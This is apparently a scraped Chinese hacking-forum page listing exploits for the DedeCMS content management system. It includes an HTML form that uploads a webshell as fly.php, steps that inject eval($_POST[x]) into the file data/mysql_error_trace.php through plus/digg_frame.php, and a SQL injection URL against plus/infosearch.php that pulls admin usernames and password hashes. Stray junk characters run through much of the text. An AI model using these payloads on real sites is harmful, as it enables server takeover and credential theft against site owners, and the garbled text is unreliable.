% @& Y/ X8 l2 T<input type='hidden' name='f' value='form1.enclosure' />
. i7 M/ F4 q% l6 W* r6 m$ e<input type='hidden' name='job' value='upload' />+ k2 ]/ f! U, I% y/ q
<input type='hidden' name='newname' value='fly.php' />5 |; z1 F  A# O
Select U Shell <input type='file' name='uploadfile' size='25' />
+ \* u* z5 ?3 K& s# l<input type='submit' name='sb1' value='确定' />
  [3 z- {) p$ r, Y+ V</form>
# `/ i: J) `' N4 s1 f" c<br />It's just a exp for the bug of Dedecms V55...<br />7 W0 t8 t) |; U: g) U+ }( Q/ Z
Need register_globals = on...<br />
" y7 @* z2 S; fFun the game,get a webshell at /data/cache/fly.php...<br />
2 H2 H+ x8 D5 T1 ?</body>
8 Y' a+ C% [0 e9 g+ j* R</html>8 t* z! i$ m/ S) H, g9 d2 Z( ]

% B4 q1 k1 P; H8 M! Q) H' m* Y7 G7 o, k* Q" t/ w$ J) [& n( \
# q/ [7 O$ K. `! _# J* r

8 ]3 m+ z' ~9 I3 H
+ h* A2 U2 X- N. }9 r" [2 y. v. r, }( t; ~; i8 d& Y

* R. T0 v; A8 a/ h" s
) A1 w! |: y5 X3 r0 ~5 x, M1 C. g; X2 f3 p. j

. Q, ^* w" c& n4 [" w1 P织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞! S/ D8 g# ~8 S3 _- M6 N
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。  g. f' X; |. ^( g4 m2 [
1. 访问网址：
8 g2 U/ d6 u* O1 Y$ ~& W! @http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
! W) k0 R. P; u. ^  Q- i可看见错误信息1 S* f; [: F0 i* r6 C

* |4 E8 a+ a, Z) k$ K  w
6 P2 ~' `' W4 q# t* S' g9 I2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
$ h0 q7 W: }' Nint(3) Error: Illegal double '1024e1024' value found during parsing; ]& i+ d2 E3 ]- c5 p. Q$ c! h
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
5 P9 ?, L4 T& I, J8 f( ]" b& \1 v- Z9 i. X

: I& S$ x3 u: t7 B! E7 O3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
3 Y- M& z" d( y6 w4 I2 B
4 G) j2 P5 _' ?% r& x
. E3 u' u$ z% |0 E1 {<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
. ]  A' M( y8 U' S# }6 ^6 \
7 C4 C) G7 p; D$ R1 ?
8 [: E! ~9 S: x5 Y' n按确定后的看到第2步骤的信息表示文件木马上传成功.$ P+ F' b- D- ]+ l. @$ r
" p$ z; z; ~, Z* {+ l
1 C4 v# D& V  Y" V; P
9 s% G. k* U: u; q9 d4 v. i
# L. u. o' }$ G! S# q
0 T, W( Z$ f: ~7 A+ [( J

2 }! T" I" d$ i- B* }
$ L& `& u; e' ^: c( s( F- Z/ A3 A  K- t) L( p  \- ~. [' ^* W* K! `2 J# i- ~
' j9 _- ?7 x$ m! S  ^% G. V; {+ }

  {5 F8 V7 {/ z7 S) n" @' A6 u0 \9 o$ ?6 B

$ y4 L+ s+ `, Q& f织梦(DedeCms)plus/infosearch.php 文件注入漏洞. N3 D/ ]+ |4 E
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)